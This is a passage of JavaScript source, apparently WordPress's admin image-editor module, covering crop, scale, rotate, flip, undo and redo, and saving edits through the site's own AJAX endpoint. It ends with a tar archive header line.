			$target.find( 'button' ).first().trigger( 'focus' );
		}

		return false;
	},

	/**
	 * Observes whether the popup should remain open based on focus position.
	 *
	 * @since 6.4.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The activated control element.
	 *
	 * @return {boolean} Always returns false.
	 */
	monitorPopup : function() {
		var $parent = document.querySelector( '.imgedit-rotate-menu-container' );
		var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' );

		setTimeout( function() {
			var $focused = document.activeElement;
			var $contains = $parent.contains( $focused );

			// If $focused is defined and not inside the menu container, close the popup.
			if ( $focused && ! $contains ) {
				if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) {
					imageEdit.togglePopup( $toggle );
				}
			}
		}, 100 );

		return false;
	},

	/**
	 * Navigate popup menu by arrow keys.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The current element.
	 *
	 * @return {boolean} Always returns false.
	 */
	browsePopup : function(el) {
		var $el = $( el );
		var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' );
		var $index = $collection.index( $el );
		var $prev = $index - 1;
		var $next = $index + 1;
		var $last = $collection.length;
		if ( $prev < 0 ) {
			$prev = $last - 1;
		}
		if ( $next === $last ) {
			$next = 0;
		}
		var $target = false;
		if ( event.keyCode === 40 ) {
			$target = $collection.get( $next );
		} else if ( event.keyCode === 38 ) {
			$target = $collection.get( $prev );
		}
		if ( $target ) {
			$target.focus();
			event.preventDefault();
		}

		return false;
	},

	/**
	 * Close popup menu and reset focus on feature activation.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The current element.
	 *
	 * @return {boolean} Always returns false.
	 */
	closePopup : function(el) {
		var $parent = $(el).parent( '.imgedit-popup-menu' );
		var $controlledID = $parent.attr( 'id' );
		var $target = $( 'button[aria-controls="' + $controlledID + '"]' );
		$target
			.attr( 'aria-expanded', 'false' ).trigger( 'focus' );
		$parent
			.toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' );

		return false;
	},

	/**
	 * Shows or hides the image edit help box.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The element to create the help window in.
	 *
	 * @return {boolean} Always returns false.
	 */
	toggleHelp : function(el) {
		var $el = $( el );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' )
			.parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );

		return false;
	},

	/**
	 * Shows or hides image edit input fields when enabled.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The element to trigger the edit panel.
	 *
	 * @return {boolean} Always returns false.
	 */
	toggleControls : function(el) {
		var $el = $( el );
		var $target = $( '#' + $el.attr( 'aria-controls' ) );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
		$target
			.parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' );

		return false;
	},

	/**
	 * Gets the value from the image edit target.
	 *
	 * The image edit target contains the image sizes where the (possible) changes
	 * have to be applied to.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {string} The value from the imagedit-save-target input field when available,
	 *                  'full' when not selected, or 'all' if it doesn't exist.
	 */
	getTarget : function( postid ) {
		var element = $( '#imgedit-save-target-' + postid );

		if ( element.length ) {
			return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full';
		}

		return 'all';
	},

	/**
	 * Recalculates the height or width and keeps the original aspect ratio.
	 *
	 * If the original image size is exceeded a red exclamation mark is shown.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}         postid The current post ID.
	 * @param {number}         x      Is 0 when it applies the y-axis
	 *                                and 1 when applicable for the x-axis.
	 * @param {jQuery}         el     Element.
	 *
	 * @return {void}
	 */
	scaleChanged : function( postid, x, el ) {
		var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
		warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '',
		scaleBtn = $('#imgedit-scale-button');

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x ) {
			h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
			h.val( h1 );
		} else {
			w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
			w.val( w1 );
		}

		if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
			warn.css('visibility', 'visible');
			scaleBtn.prop('disabled', true);
		} else {
			warn.css('visibility', 'hidden');
			scaleBtn.prop('disabled', false);
		}
	},

	/**
	 * Gets the selected aspect ratio.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {string} The aspect ratio.
	 */
	getSelRatio : function(postid) {
		var x = this.hold.w, y = this.hold.h,
			X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			Y = this.intval( $('#imgedit-crop-height-' + postid).val() );

		if ( X && Y ) {
			return X + ':' + Y;
		}

		if ( x && y ) {
			return x + ':' + y;
		}

		return '1:1';
	},

	/**
	 * Removes the last action from the image edit history.
	 * The history consist of (edit) actions performed on the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid  The post ID.
	 * @param {number} setSize 0 or 1, when 1 the image resets to its original size.
	 *
	 * @return {string} JSON string containing the history or an empty string if no history exists.
	 */
	filterHistory : function(postid, setSize) {
		// Apply undo state to history.
		var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];

		if ( history !== '' ) {
			// Read the JSON string with the image edit history.
			history = JSON.parse(history);
			pop = this.intval( $('#imgedit-undone-' + postid).val() );
			if ( pop > 0 ) {
				while ( pop > 0 ) {
					history.pop();
					pop--;
				}
			}

			// Reset size to its original state.
			if ( setSize ) {
				if ( !history.length ) {
					this.hold.w = this.hold.ow;
					this.hold.h = this.hold.oh;
					return '';
				}

				// Restore original 'o'.
				o = history[history.length - 1];

				// c = 'crop', r = 'rotate', f = 'flip'.
				o = o.c || o.r || o.f || false;

				if ( o ) {
					// fw = Full image width.
					this.hold.w = o.fw;
					// fh = Full image height.
					this.hold.h = o.fh;
				}
			}

			// Filter the last step/action from the history.
			for ( n in history ) {
				i = history[n];
				if ( i.hasOwnProperty('c') ) {
					op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h } };
				} else if ( i.hasOwnProperty('r') ) {
					op[n] = { 'r': i.r.r };
				} else if ( i.hasOwnProperty('f') ) {
					op[n] = { 'f': i.f.f };
				}
			}
			return JSON.stringify(op);
		}
		return '';
	},
	/**
	 * Binds the necessary events to the image.
	 *
	 * When the image source is reloaded the image will be reloaded.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}   postid   The post ID.
	 * @param {string}   nonce    The nonce to verify the request.
	 * @param {function} callback Function to execute when the image is loaded.
	 *
	 * @return {void}
	 */
	refreshEditor : function(postid, nonce, callback) {
		var t = this, data, img;

		t.toggleEditor(postid, 1);
		data = {
			'action': 'imgedit-preview',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': t.filterHistory(postid, 1),
			'rand': t.intval(Math.random() * 1000000)
		};

		img = $( '<img id="image-preview-' + postid + '" alt="" />' )
			.on( 'load', { history: data.history }, function( event ) {
				var max1, max2,
					parent = $( '#imgedit-crop-' + postid ),
					t = imageEdit,
					historyObj;

				// Checks if there already is some image-edit history.
				if ( '' !== event.data.history ) {
					historyObj = JSON.parse( event.data.history );
					// If last executed action in history is a crop action.
					if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) {
						/*
						 * A crop action has completed and the crop button gets disabled
						 * ensure the undo button is enabled.
						 */
						t.setDisabled( $( '#image-undo-' + postid) , true );
						// Move focus to the undo button to avoid a focus loss.
						$( '#image-undo-' + postid ).trigger( 'focus' );
					}
				}

				parent.empty().append(img);

				// w, h are the new full size dimensions.
				max1 = Math.max( t.hold.w, t.hold.h );
				max2 = Math.max( $(img).width(), $(img).height() );
				t.hold.sizer = max1 > max2 ? max2 / max1 : 1;

				t.initCrop(postid, img, parent);

				if ( (typeof callback !== 'undefined') && callback !== null ) {
					callback();
				}

				if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
					$('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false);
				} else {
					$('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
				}
				var successMessage = __( 'Image updated.' );

				t.toggleEditor(postid, 0);
				wp.a11y.speak( successMessage, 'assertive' );
			})
			.on( 'error', function() {
				var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' );

				$( '#imgedit-crop-' + postid )
					.empty()
					.append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );

				t.toggleEditor( postid, 0, true );
				wp.a11y.speak( errorMessage, 'assertive' );
			} )
			.attr('src', ajaxurl + '?' + $.param(data));
	},
	/**
	 * Performs an image edit action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce to verify the request.
	 * @param {string} action The action to perform on the image.
	 *                        The possible actions are: "scale" and "restore".
	 *
	 * @return {boolean|void} Executes a post request that refreshes the page
	 *                        when the action is performed.
	 *                        Returns false if an invalid action is given,
	 *                        or when the action cannot be performed.
	 */
	action : function(postid, nonce, action) {
		var t = this, data, w, h, fw, fh;

		if ( t.notsaved(postid) ) {
			return false;
		}

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid
		};

		if ( 'scale' === action ) {
			w = $('#imgedit-scale-width-' + postid),
			h = $('#imgedit-scale-height-' + postid),
			fw = t.intval(w.val()),
			fh = t.intval(h.val());

			if ( fw < 1 ) {
				w.trigger( 'focus' );
				return false;
			} else if ( fh < 1 ) {
				h.trigger( 'focus' );
				return false;
			}

			if ( fw === t.hold.ow || fh === t.hold.oh ) {
				return false;
			}

			data['do'] = 'scale';
			data.fwidth = fw;
			data.fheight = fh;
		} else if ( 'restore' === action ) {
			data['do'] = 'restore';
		} else {
			return false;
		}

		t.toggleEditor(postid, 1);
		$.post( ajaxurl, data, function( response ) {
			$( '#image-editor-' + postid ).empty().append( response.data.html );
			t.toggleEditor( postid, 0, true );
			// Refresh the attachment model so that changes propagate.
			if ( t._view ) {
				t._view.refresh();
			}
		} ).done( function( response ) {
			// Whether the executed action was `scale` or `restore`, the response does have a message.
			if ( response && response.data.message.msg ) {
				wp.a11y.speak( response.data.message.msg );
				return;
			}

			if ( response && response.data.message.error ) {
				wp.a11y.speak( response.data.message.error );
			}
		} );
	},

	/**
	 * Stores the changes that are made to the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid   The post ID to get the image from the database.
	 * @param {string}  nonce    The nonce to verify the request.
	 *
	 * @return {boolean|void}  If the actions are successfully saved a response message is shown.
	 *                         Returns false if there is no image editing history,
	 *                         thus there are not edit-actions performed on the image.
	 */
	save : function(postid, nonce) {
		var data,
			target = this.getTarget(postid),
			history = this.filterHistory(postid, 0),
			self = this;

		if ( '' === history ) {
			return false;
		}

		this.toggleEditor(postid, 1);
		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': history,
			'target': target,
			'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
			'do': 'save'
		};
		// Post the image edit data to the backend.
		$.post( ajaxurl, data, function( response ) {
			// If a response is returned, close the editor and show an error.
			if ( response.data.error ) {
				$( '#imgedit-response-' + postid )
					.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' );

				imageEdit.close(postid);
				wp.a11y.speak( response.data.error );
				return;
			}

			if ( response.data.fw && response.data.fh ) {
				$( '#media-dims-' + postid ).html( response.data.fw + ' &times; ' + response.data.fh );
			}

			if ( response.data.thumbnail ) {
				$( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail );
			}

			if ( response.data.msg ) {
				$( '#imgedit-response-' + postid )
					.html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' );

				wp.a11y.speak( response.data.msg );
			}

			if ( self._view ) {
				self._view.save();
			} else {
				imageEdit.close(postid);
			}
		});
	},

	/**
	 * Creates the image edit window.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid   The post ID for the image.
	 * @param {string} nonce    The nonce to verify the request.
	 * @param {Object} view     The image editor view to be used for the editing.
	 *
	 * @return {void|promise} Either returns void if the button was already activated
	 *                        or returns an instance of the image editor, wrapped in a promise.
	 */
	open : function( postid, nonce, view ) {
		this._view = view;

		var dfd, data,
			elem = $( '#image-editor-' + postid ),
			head = $( '#media-head-' + postid ),
			btn = $( '#imgedit-open-btn-' + postid ),
			spin = btn.siblings( '.spinner' );

		/*
		 * Instead of disabling the button, which causes a focus loss and makes screen
		 * readers announce "unavailable", return if the button was already clicked.
		 */
		if ( btn.hasClass( 'button-activated' ) ) {
			return;
		}

		spin.addClass( 'is-active' );

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'do': 'open'
		};

		dfd = $.ajax( {
			url:  ajaxurl,
			type: 'post',
			data: data,
			beforeSend: function() {
				btn.addClass( 'button-activated' );
			}
		} ).done( function( response ) {
			var errorMessage;

			if ( '-1' === response ) {
				errorMessage = __( 'Could not load the preview image.' );
				elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
			}

			if ( response.data && response.data.html ) {
				elem.html( response.data.html );
			}

			head.fadeOut( 'fast', function() {
				elem.fadeIn( 'fast', function() {
					if ( errorMessage ) {
						$( document ).trigger( 'image-editor-ui-ready' );
					}
				} );
				btn.removeClass( 'button-activated' );
				spin.removeClass( 'is-active' );
			} );
			// Initialize the Image Editor now that everything is ready.
			imageEdit.init( postid );
		} );

		return dfd;
	},

	/**
	 * Initializes the cropping tool and sets a default cropping selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {void}
	 */
	imgLoaded : function(postid) {
		var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);

		// Ensure init has run even when directly loaded.
		if ( 'undefined' === typeof this.hold.sizer ) {
			this.init( postid );
		}

		this.initCrop(postid, img, parent);
		this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } );

		this.toggleEditor( postid, 0, true );
	},

	/**
	 * Manages keyboard focus in the Image Editor user interface.
	 *
	 * @since 5.5.0
	 *
	 * @return {void}
	 */
	focusManager: function() {
		/*
		 * Editor is ready. Move focus to one of the admin alert notices displayed
		 * after a user action or to the first focusable element. Since the DOM
		 * update is pretty large, the timeout helps browsers update their
		 * accessibility tree to better support assistive technologies.
		 */
		setTimeout( function() {
			var elementToSetFocusTo = $( '.notice[role="alert"]' );

			if ( ! elementToSetFocusTo.length ) {
				elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' );
			}

			elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' );
		}, 100 );
	},

	/**
	 * Initializes the cropping tool.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}      postid The post ID.
	 * @param {HTMLElement} image  The preview image.
	 * @param {HTMLElement} parent The preview image container.
	 *
	 * @return {void}
	 */
	initCrop : function(postid, image, parent) {
		var t = this,
			selW = $('#imgedit-sel-width-' + postid),
			selH = $('#imgedit-sel-height-' + postid),
			selX = $('#imgedit-start-x-' + postid),
			selY = $('#imgedit-start-y-' + postid),
			$image = $( image ),
			$img;

		// Already initialized?
		if ( $image.data( 'imgAreaSelect' ) ) {
			return;
		}

		t.iasapi = $image.imgAreaSelect({
			parent: parent,
			instance: true,
			handles: true,
			keys: true,
			minWidth: 3,
			minHeight: 3,

			/**
			 * Sets the CSS styles and binds events for locking the aspect ratio.
			 *
			 * @ignore
			 *
			 * @param {jQuery} img The preview image.
			 */
			onInit: function( img ) {
				// Ensure that the imgAreaSelect wrapper elements are position:absolute
				// (even if we're in a position:fixed modal).
				$img = $( img );
				$img.next().css( 'position', 'absolute' )
					.nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
				/**
				 * Binds mouse down event to the cropping container.
				 *
				 * @return {void}
				 */
				parent.children().on( 'mousedown, touchstart', function(e){
					var ratio = false, sel, defRatio;

					if ( e.shiftKey ) {
						sel = t.iasapi.getSelection();
						defRatio = t.getSelRatio(postid);
						ratio = ( sel && sel.width && sel.height ) ? sel.width + ':' + sel.height : defRatio;
					}

					t.iasapi.setOptions({
						aspectRatio: ratio
					});
				});
			},

			/**
			 * Event triggered when starting a selection.
			 *
			 * @ignore
			 *
			 * @return {void}
			 */
			onSelectStart: function() {
				imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
				imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
				imageEdit.setDisabled($('.imgedit-crop-apply'), 1);
			},
			/**
			 * Event triggered when the selection is ended.
			 *
			 * @ignore
			 *
			 * @param {Object} img jQuery object representing the image.
			 * @param {Object} c   The selection.
			 *
			 * @return {Object}
			 */
			onSelectEnd: function(img, c) {
				imageEdit.setCropSelection(postid, c);
				if ( ! $('#imgedit-crop > *').is(':visible') ) {
					imageEdit.toggleControls($('.imgedit-crop.button'));
				}
			},

			/**
			 * Event triggered when the selection changes.
			 *
			 * @ignore
			 *
			 * @param {Object} img jQuery object representing the image.
			 * @param {Object} c   The selection.
			 *
			 * @return {void}
			 */
			onSelectChange: function(img, c) {
				var sizer = imageEdit.hold.sizer;
				selW.val( imageEdit.round(c.width / sizer) );
				selH.val( imageEdit.round(c.height / sizer) );
				selX.val( imageEdit.round(c.x1 / sizer) );
				selY.val( imageEdit.round(c.y1 / sizer) );
			}
		});
	},

	/**
	 * Stores the current crop selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {Object} c      The selection.
	 *
	 * @return {boolean}
	 */
	setCropSelection : function(postid, c) {
		var sel;

		c = c || 0;

		if ( !c || ( c.width < 3 && c.height < 3 ) ) {
			this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 );
			this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 );
			$('#imgedit-sel-width-' + postid).val('');
			$('#imgedit-sel-height-' + postid).val('');
			$('#imgedit-start-x-' + postid).val('0');
			$('#imgedit-start-y-' + postid).val('0');
			$('#imgedit-selection-' + postid).val('');
			return false;
		}

		sel = { 'x': c.x1, 'y': c.y1, 'w': c.width, 'h': c.height };
		this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
		$('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
	},


	/**
	 * Closes the image editor.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid The post ID.
	 * @param {boolean} warn   Warning message.
	 *
	 * @return {void|boolean} Returns false if there is a warning.
	 */
	close : function(postid, warn) {
		warn = warn || false;

		if ( warn && this.notsaved(postid) ) {
			return false;
		}

		this.iasapi = {};
		this.hold = {};

		// If we've loaded the editor in the context of a Media Modal,
		// then switch to the previous view, whatever that might have been.
		if ( this._view ){
			this._view.back();
		}

		// In case we are not accessing the image editor in the context of a View,
		// close the editor the old-school way.
		else {
			$('#image-editor-' + postid).fadeOut('fast', function() {
				$( '#media-head-' + postid ).fadeIn( 'fast', function() {
					// Move focus back to the Edit Image button. Runs also when saving.
					$( '#imgedit-open-btn-' + postid ).trigger( 'focus' );
				});
				$(this).empty();
			});
		}


	},

	/**
	 * Checks if the image edit history is saved.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {boolean} Returns true if the history is not saved.
	 */
	notsaved : function(postid) {
		var h = $('#imgedit-history-' + postid).val(),
			history = ( h !== '' ) ? JSON.parse(h) : [],
			pop = this.intval( $('#imgedit-undone-' + postid).val() );

		if ( pop < history.length ) {
			if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) {
				return false;
			}
			return true;
		}
		return false;
	},

	/**
	 * Adds an image edit action to the history.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {Object} op     The original position.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 *
	 * @return {void}
	 */
	addStep : function(op, postid, nonce) {
		var t = this, elem = $('#imgedit-history-' + postid),
			history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
			undone = $( '#imgedit-undone-' + postid ),
			pop = t.intval( undone.val() );

		while ( pop > 0 ) {
			history.pop();
			pop--;
		}
		undone.val(0); // Reset.

		history.push(op);
		elem.val( JSON.stringify(history) );

		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled($('#image-redo-' + postid), false);
		});
	},

	/**
	 * Rotates the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {string} angle  The angle the image is rotated with.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target element.
	 *
	 * @return {boolean}
	 */
	rotate : function(angle, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}
		this.closePopup(t);
		this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
	},

	/**
	 * Flips the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} axis   The axle the image is flipped on.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target element.
	 *
	 * @return {boolean}
	 */
	flip : function (axis, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}
		this.closePopup(t);
		this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
	},

	/**
	 * Crops the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target object.
	 *
	 * @return {void|boolean} Returns false if the crop button is disabled.
	 */
	crop : function (postid, nonce, t) {
		var sel = $('#imgedit-selection-' + postid).val(),
			w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
			h = this.intval( $('#imgedit-sel-height-' + postid).val() );

		if ( $(t).hasClass('disabled') || sel === '' ) {
			return false;
		}

		sel = JSON.parse(sel);
		if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
			sel.fw = w;
			sel.fh = h;
			this.addStep({ 'c': sel }, postid, nonce);
		}

		// Clear the selection fields after cropping.
		$('#imgedit-sel-width-' + postid).val('');
		$('#imgedit-sel-height-' + postid).val('');
		$('#imgedit-start-x-' + postid).val('0');
		$('#imgedit-start-y-' + postid).val('0');
	},

	/**
	 * Undoes an image edit action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid   The post ID.
	 * @param {string} nonce    The nonce.
	 *
	 * @return {void|false} Returns false if the undo button is disabled.
	 */
	undo : function (postid, nonce) {
		var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) + 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			var elem = $('#imgedit-history-' + postid),
				history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];

			t.setDisabled($('#image-redo-' + postid), true);
			t.setDisabled(button, pop < history.length);
			// When undo gets disabled, move focus to the redo button to avoid a focus loss.
			if ( history.length === pop ) {
				$( '#image-redo-' + postid ).trigger( 'focus' );
			}
		});
	},

	/**
	 * Reverts a undo action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 *
	 * @return {void}
	 */
	redo : function(postid, nonce) {
		var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) - 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled(button, pop > 0);
			// When redo gets disabled, move focus to the undo button to avoid a focus loss.
			if ( 0 === pop ) {
				$( '#image-undo-' + postid ).trigger( 'focus' );
			}
		});
	},

	/**
	 * Sets the selection for the height and width in pixels.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {jQuery} el     The element containing the values.
	 *
	 * @return {void|boolean} Returns false when the x or y value is lower than 1,
	 *                        void when the value is not numeric or when the operation
	 *                        is successful.
	 */
	setNumSelection : function( postid, el ) {
		var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
			elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid),
			xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ),
			x = this.intval( elX.val() ), y = this.intval( elY.val() ),
			img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
			sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x < 1 ) {
			elX.val('');
			return false;
		}

		if ( y < 1 ) {
			elY.val('');
			return false;
		}

		if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) {
			x2 = sel.x1 + Math.round( x * sizer );
			y2 = sel.y1 + Math.round( y * sizer );
			x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer );
			y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer );

			if ( x2 > imgw ) {
				x1 = 0;
				x2 = imgw;
				elX.val( Math.round( x2 / sizer ) );
			}

			if ( y2 > imgh ) {
				y1 = 0;
				y2 = imgh;
				elY.val( Math.round( y2 / sizer ) );
			}

			ias.setSelection( x1, y1, x2, y2 );
			ias.update();
			this.setCropSelection(postid, ias.getSelection());
		}
	},

	/**
	 * Rounds a number to a whole.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} num The number.
	 *
	 * @return {number} The number rounded to a whole number.
	 */
	round : function(num) {
		var s;
		num = Math.round(num);

		if ( this.hold.sizer > 0.6 ) {
			return num;
		}

		s = num.toString().slice(-1);

		if ( '1' === s ) {
			return num - 1;
		} else if ( '9' === s ) {
			return num + 1;
		}

		return num;
	},

	/**
	 * Sets a locked aspect ratio for the selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid     The post ID.
	 * @param {number} n          The ratio to set.
	 * @param {jQuery} el         The element containing the values.
	 *
	 * @return {void}
	 */
	setRatioSelection : function(postid, n, el) {
		var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
			h = $('#image-preview-' + postid).height();

		if ( false === this.validateNumeric( el ) ) {
			this.iasapi.setOptions({
				aspectRatio: null
			});

			return;
		}

		if ( x && y ) {
			this.iasapi.setOptions({
				aspectRatio: x + ':' + y
			});

			if ( sel = this.iasapi.getSelection(true) ) {
				r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );

				if ( r > h ) {
					r = h;
					var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' );

					$( '#imgedit-crop-' + postid )
						.prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );

					wp.a11y.speak( errorMessage, 'assertive' );
					if ( n ) {
						$('#imgedit-crop-height-' + postid).val( '' );
					} else {
						$('#imgedit-crop-width-' + postid).val( '');
					}
				} else {
					var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' );
					if ( 'undefined' !== typeof( error ) ) {
						error.remove();
					}
				}

				this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
				this.iasapi.update();
			}
		}
	},

	/**
	 * Validates if a value in a jQuery.HTMLElement is numeric.
	 *
	 * @since 4.6.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {jQuery} el The html element.
	 *
	 * @return {void|boolean} Returns false if the value is not numeric,
	 *                        void when it is.
	 */
	validateNumeric: function( el ) {
		if ( false === this.intval( $( el ).val() ) ) {
			$( el ).val( '' );
			return false;
		}
	}
};
})(jQuery);
application-passwords.min.js000064400000005720150276633110012222 0ustar00/*! This file is auto-generated */
